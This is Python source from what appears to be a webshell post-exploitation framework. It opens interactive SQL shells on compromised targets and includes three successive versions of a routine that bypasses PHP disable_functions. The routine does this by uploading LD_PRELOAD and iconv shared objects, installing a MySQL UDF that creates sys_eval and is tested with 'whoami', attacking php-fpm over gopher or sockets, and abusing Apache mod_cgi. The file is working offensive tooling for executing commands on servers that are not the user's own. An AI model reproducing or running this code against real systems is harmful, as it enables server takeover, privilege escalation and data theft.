def run(): """ db_shell Get a temporary sql shell of target system. """ if (not gget("db_connected", "webshell")): print(color.red("Please run db_init command first")) return print( color.cyan( "Eenter interactive temporary sql shell...\n\nUse 'back' command to return doughnuts.\n" )) database = gget("db_dbname", "webshell") prompt = "mysql (%s) > " set_namespace("webshell", False, True) wordlist = gget("webshell.wordlist") readline.set_wordlist(NEW_SQL_WORDLIST) try: while gget("loop"): print(prompt % color.cyan(database), end="") command = readline() lower_command = command.lower() if (lower_command.lower() in ['exit', 'quit', 'back']): print() break if (command == ''): print() continue if (lower_command.startswith("use ") and len(lower_command) > 4): try: temp_database = match("use ([^;]*);?", lower_command).group(1) res = send(check_database(temp_database)) if ("Connect error" in res.r_text): print("\n" + color.red(res.r_text.strip()) + "\n") else: database = temp_database print("\n" + color.green( f"Change current database: {database}") + "\n") except (IndexError, AttributeError): print("\n" + color.red("SQL syntax error") + "\n") else: form = execute_sql_command(command, database) if (form == ''): print("\n" + color.red("Connection Error / SQL syntax error") + "\n") else: print(execute_sql_command(command, database)) finally: gset("db_dbname", database, True, "webshell") readline.set_wordlist(wordlist)
def run(): """ db_dbs Output all databases. """ if (not gget("db_connected", "webshell")): print(color.red("Please run db_init command first")) return print(execute_sql_command("show databases;", ""))
def run(table: str): """ db_columns Output all columns of a table. eg: db_columns {table} """ if (not gget("db_connected", "webshell")): print(color.red("Please run db_init command first")) return database = gget("db_dbname", "webshell") print(execute_sql_command(f"show columns from {table};", database))
def run(database: str = ""): """ db_tables Output all tables of a database. eg: db_init {database=current_database} """ if (not gget("db_connected", "webshell")): print(color.red("Please run db_init command first")) return database = database if database else gget("db_dbname", "webshell") print(execute_sql_command("show tables;", database))
def set_mode(mode: int, test: bool = False): if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)): # ld_preload disable_func_list = gget("webshell.disable_functions", "webshell") if (not gget("webshell.ld_preload_path", "webshell", None)): filename = "/tmp/%s.so" % str(uuid4()) ld_preload_func = send(get_detectd_ld_preload()).r_text.strip() upload_result = upload( path.join(gget("root_path"), "auxiliary", "ld_preload", "ld_preload_x86_64.so"), filename, True) if (not upload_result): return gset("webshell.ld_preload_path", filename, True, "webshell") gset("webshell.ld_preload_func", ld_preload_func, True, "webshell") if ("putenv" in disable_func_list): print(color.red("\nputenv is disabled\n")) return False if (not ld_preload_func): print(color.red("\nNo ld_preload function!\n")) return False if (mode in mode_require_ext_dict): ext = mode_require_ext_dict[mode] res = send(get_detectd_ext(ext)) if (not res): return False text = res.r_text.strip() if ("exist" not in text): print(color.red(f"\nNo {ext} extension\n")) return False if (mode == 8): # udf if (gget("db_connected", "webshell") and gget("db_dbms", "webshell") == "mysql"): print(color.yellow(f"\nDetect plugin dir...")) plugin_dir_res = execute_sql_command( "show variables like '%plugin_dir%';", raw=True) if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1): plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\") else: print(color.red(f"\nCould not find plugin_dir")) return False print(color.yellow(f"\nMake plugin dir...")) phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % ( plugin_dir, plugin_dir) res = send(phpcode) if (not res or "fail" in res.r_text): print(color.red(f"\nMake plugin dir failed!\n")) return False system = "windows" if (gget("webshell.iswin", "webshell")) else "linux" print("\nReference Information:", gget("webshell.os_version", "webshell")) print("\nInput target system bits (32/64/exit): ", end="") bits = "64" _ = readline().strip() if (_ == "32"): bits = 32 elif (_ in ["back", "exit", "quit"] or _ != "64"): return False udf_ext = ".dll" if (gget("webshell.iswin", "webshell")) else ".so" udf_path = plugin_dir + "tmp" + udf_ext print(color.yellow(f"\nUpload {udf_ext[1:]}...")) upload_result = upload( path.join(gget("root_path"), "auxiliary", "udf", "mysql", system, bits, "lib_mysqludf_sys" + udf_ext), udf_path, True) if (not upload_result): print(color.red("\nUpload failed\n")) return gset("webshell.udf_path", udf_path, True, "webshell") print(color.yellow(f"\nCreate function sys_eval...")) execute_sql_command( f"create function sys_eval returns string soname 'tmp{udf_ext}'", raw=True) test_res = execute_sql_command("select sys_eval('whoami');", raw=True) if (len(test_res) > 1 and len(test_res[1][0])): print(color.green(f"\nCreate funtion success")) else: print(color.red(f"\nCreate funtion failed\n")) return False else: print( color.red( f"\nNo connection to database or dbms isn't mysql\n")) return False if (not test): if (mode == 7): print( color.yellow( f"\nYou may need to wait 1 second to get the result..\n")) print( f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n" ) gset("webshell.bypass_df", mode, True, "webshell") return True
def set_mode(mode: int, test: bool = False): if (mode in mode_require_ext_dict): ext = mode_require_ext_dict[mode] res = send(get_detectd_ext(ext)) if (not res): return False text = res.r_text.strip() if ("exist" not in text): print(color.red(f"\nNo {ext} extension\n")) return False if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)): # ld_preload disable_func_list = gget("webshell.disable_functions", "webshell") if (not gget("webshell.ld_preload_path", "webshell", None)): filename = "/tmp/%s.so" % str(uuid4()) ld_preload_func = send(get_detectd_ld_preload()).r_text.strip() upload_result = upload( path.join(gget("root_path"), "auxiliary", "ld_preload", "ld_preload_x86_64.so"), filename, True) if (not upload_result): return gset("webshell.ld_preload_path", filename, True, "webshell") gset("webshell.ld_preload_func", ld_preload_func, True, "webshell") if ("putenv" in disable_func_list): print(color.red("\nputenv is disabled\n")) return False if (not ld_preload_func): print(color.red("\nNo ld_preload function!\n")) return False elif (mode == 8): # udf if (gget("db_connected", "webshell") and gget("db_dbms", "webshell") == "mysql"): print(color.yellow(f"\nDetect plugin dir...")) plugin_dir_res = execute_sql_command( "show variables like '%plugin_dir%';", raw=True) if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1): plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\") else: print(color.red(f"\nCould not find plugin_dir")) return False print(color.yellow(f"\nMake plugin dir...")) phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % ( plugin_dir, plugin_dir) res = send(phpcode) if (not res or "fail" in res.r_text): print(color.red(f"\nMake plugin dir failed!\n")) return False system = "windows" if (gget("webshell.iswin", "webshell")) else "linux" print("\nReference Information:", gget("webshell.os_version", "webshell")) print("\nInput target system bits (32/64/exit): ", end="") bits = "64" _ = readline().strip() if (_ == "32"): bits = 32 elif (_ in ["back", "exit", "quit"] or _ != "64"): return False udf_ext = ".dll" if (gget("webshell.iswin", "webshell")) else ".so" udf_path = plugin_dir + "tmp" + udf_ext print(color.yellow(f"\nUpload {udf_ext[1:]}...")) upload_result = upload( path.join(gget("root_path"), "auxiliary", "udf", "mysql", system, bits, "lib_mysqludf_sys" + udf_ext), udf_path, True) if (not upload_result): print(color.red("\nUpload failed\n")) return gset("webshell.udf_path", udf_path, True, "webshell") print(color.yellow(f"\nCreate function sys_eval...")) execute_sql_command( f"create function sys_eval returns string soname 'tmp{udf_ext}'", raw=True) test_res = execute_sql_command("select sys_eval('whoami');", raw=True) if (len(test_res) > 1 and len(test_res[1][0])): print(color.green(f"\nCreate funtion success")) else: print(color.red(f"\nCreate funtion failed\n")) return False else: print( color.red( f"\nNo connection to database or dbms isn't mysql\n")) return False elif (mode == 10): # php-fpm res = send("print(php_sapi_name());") if (not res or "fpm" not in res.r_text): print(color.red(f"\nTarget php not run by php-fpm!\n")) return False requirements_dict = { 'host': '127.0.0.1', 'port': 9000, "php_file": "/usr/local/lib/php/PEAR.php" } for k, v in requirements_dict.items(): new_v = input(f"{k}[{v}]:") if k == 'port': new_v = new_v if new_v else v try: new_v = int(new_v) except ValueError: print(color.red(f"\nPort must be number!\n")) return False if new_v: requirements_dict[k] = new_v attack_type = input("attack_type[gopher/sock]:").lower() if (attack_type not in ["gopher", "sock"]): return False if (attack_type == "sock"): sock_path = "/var/run/php7-fpm.sock" new_v = input(f"sock_path[{sock_path}]:") if new_v: sock_path = new_v gset("webshell.bdf_fpm.sock_path", sock_path, True, "webshell") gset("webshell.bdf_fpm.host", requirements_dict["host"], True, "webshell") gset("webshell.bdf_fpm.port", str(requirements_dict["port"]), True, "webshell") gset("webshell.bdf_fpm.php_file", requirements_dict["php_file"], True, "webshell") gset("webshell.bdf_fpm.type", attack_type, True, "webshell") if (not test): if (mode == 7): print( color.yellow( f"\nYou may need to wait 1 second to get the result..\n")) print( f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n" ) gset("webshell.bypass_df", mode, True, "webshell") return True
def set_mode(mode: int, test: bool = False): if (mode in mode_require_ext_dict): ext = mode_require_ext_dict[mode] res = send(get_detectd_ext(ext)) if (not res): return False text = res.r_text.strip() if ("exist" not in text): print(color.red(f"\nNo {ext} extension\n")) return False if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)): # ld_preload if is_windows(): print(color.red("\nNo ld_preload function!\n")) return False disable_funcs = gget("webshell.disable_functions", "webshell") # can't work if putenv is disabled if ("putenv" in disable_funcs): print(color.red("\nputenv is disabled\n")) return False # check if already set ld_preload if (not gget("webshell.ld_preload_path", "webshell", None)): filename = "/tmp/%s.so" % str(uuid4()) # get ld_preload trigger function available_trigger_funcs = [ 'mail', 'error_log', 'mb_send_mail', 'imap_mail' ] ld_preload_funcs = [ f for f in available_trigger_funcs if f not in disable_funcs ] if (not ld_preload_funcs): print(color.red("\nNo ld_preload function!\n")) return False ld_preload_func = choice(ld_preload_funcs) # get target architecture bits = gget("webshell.arch", namespace="webshell") if not bits: print("\nInput target system bits (32/64): ", end="") _ = readline().strip() if (_ == "32"): bits = 32 elif (_ == "64"): bits = 64 else: print(color.red("\nUnknown bits\n")) return False bits = str(bits) if bits == "32": bits = "86" # upload so upload_result = upload( path.join(gget("root_path"), "auxiliary", "ld_preload", "ld_preload_x" + bits + ".so"), filename, True) if (not upload_result): print(color.red("\nUpload error\n")) return gset("webshell.ld_preload_path", filename, True, "webshell") gset("webshell.ld_preload_func", ld_preload_func, True, "webshell") elif (mode == 8): # udf if (gget("db_connected", "webshell") and gget("db_dbms", "webshell") == "mysql"): # detect plugin dir print(color.yellow(f"\nDetect plugin dir...")) plugin_dir_res = execute_sql_command( "show variables like '%plugin_dir%';", raw=True) if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1): plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\") else: print(color.red(f"\nCould not find plugin_dir")) return False # make plugin dir print(color.yellow(f"\nMake plugin dir...")) phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % ( plugin_dir, plugin_dir) res = send(phpcode) if (not res or "fail" in res.r_text): print(color.red(f"\nMake plugin dir failed!\n")) return False system = "windows" if is_windows() else "linux" print("\nReference Information:", gget("webshell.os_version", "webshell")) bits = gget("webshell.arch", namespace="webshell") if not bits: print("\nInput target system bits (32/64): ", end="") _ = readline().strip() if (_ == "32"): bits = 32 elif (_ == "64"): bits = 64 elif (_ in ["back", "exit", "quit"]): return False else: print(color.red("\nUnknown bits\n")) return False bits = str(bits) # upload so / dll udf_ext = ".dll" if is_windows() else ".so" udf_path = plugin_dir + "tmp" + udf_ext print(color.yellow(f"\nUpload {udf_ext[1:]}...")) upload_result = upload(path.join(gget("root_path"), "auxiliary", "udf", "mysql", system, bits, "lib_mysqludf_sys" + udf_ext), udf_path, force=True) if (not upload_result): print(color.red("\nUpload failed\n")) return gset("webshell.udf_path", udf_path, True, "webshell") # create function sys_eval print(color.yellow(f"\nCreate function sys_eval...")) execute_sql_command( f"create function sys_eval returns string soname 'tmp{udf_ext}'", raw=True) test_res = execute_sql_command("select sys_eval('whoami');", raw=True) if (len(test_res) > 1 and len(test_res[1][0])): print(color.green(f"\nCreate funtion success")) else: print(color.red(f"\nCreate funtion failed\n")) return False else: print( color.red( f"\nNo connection to database or dbms isn't mysql\n")) return False elif (mode == 10): # php-fpm res = send("print(php_sapi_name());") if (not res or "fpm" not in res.r_text): print(color.red(f"\nTarget php not run by php-fpm!\n")) return False requirements_dict = {'host': '127.0.0.1', 'port': 9000} attack_type = input( "attack_type[gopher(need curl extension)/sock/http_sock]:").lower( ) if (attack_type not in ["gopher", "sock", "http_sock"]): return False gset("webshell.bdf_fpm.type", attack_type, True, "webshell") # input sock path if (attack_type == "sock"): sock_path = "/var/run/php7-fpm.sock" new_v = input(f"sock_path[{sock_path}]:") if new_v: sock_path = new_v gset("webshell.bdf_fpm.sock_path", sock_path, True, "webshell") else: # input fpm http host and port for k, v in requirements_dict.items(): new_v = input(f"{k}[{v}]:") if k == 'port': new_v = new_v if new_v else v try: new_v = int(new_v) except ValueError: print(color.red(f"\nport must be number\n")) return False if new_v: requirements_dict[k] = new_v gset("webshell.bdf_fpm.host", requirements_dict["host"], True, "webshell") gset("webshell.bdf_fpm.port", str(requirements_dict["port"]), True, "webshell") elif (mode == 11): # apache-mod-cgi res = send("""$f=in_array('mod_cgi', apache_get_modules()); $f2=is_writable('.'); $f3=!empty($_SERVER['HTACCESS']); if(!$f){ die("Mod-Cgi not enabled"); } else if (!$f2) { die("Current directory not writable"); } print("success");""") if (res.r_text != "success"): print(color.red(f"\n{res.r_text}\n")) return False elif (mode == 12 and not gget("webshell.ld_preload_path", "webshell", False)): # iconv disable_funcs = gget("webshell.disable_functions", "webshell") # can't work if putenv is disabled if ("putenv" in disable_funcs): print(color.red("\nputenv is disabled\n")) return False # check if already set ld_preload if (not gget("webshell.iconv_path", "webshell", None)): filename = "/tmp/%s" % str(uuid4()) # get target architecture bits = gget("webshell.arch", namespace="webshell") if not bits: print("\nInput target system bits (32/64): ", end="") _ = readline().strip() if (_ == "32"): bits = 32 elif (_ == "64"): bits = 64 else: print(color.red("\nUnknown bits\n")) return False bits = str(bits) if bits == "32": bits = "86" # upload so upload_result = upload(path.join(gget("root_path"), "auxiliary", "iconv", "iconv_x" + bits + ".so"), filename + ".so", force=True) if (not upload_result): print(color.red("\nUpload error\n")) return gconv_modules = f"""module PAYLOAD// INTERNAL ../../../../../../../..{filename} 2 module INTERNAL PAYLOAD// ../../../../../../../..{filename} 2""" send( f"file_put_contents('/tmp/gconv-modules', base64_decode('{base64_encode(gconv_modules)}'));" ) gset("webshell.iconv_path", filename + ".so", True, "webshell") gset("webshell.iconv_gconv_modules_path", "/tmp/gconv-modules", True, "webshell") if (not test): if (mode in (7, 10, 12)): print( color.yellow( f"\nYou may need to wait 1 second to get the result..\n")) print( f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n" ) gset("webshell.bypass_df", mode, True, "webshell") return True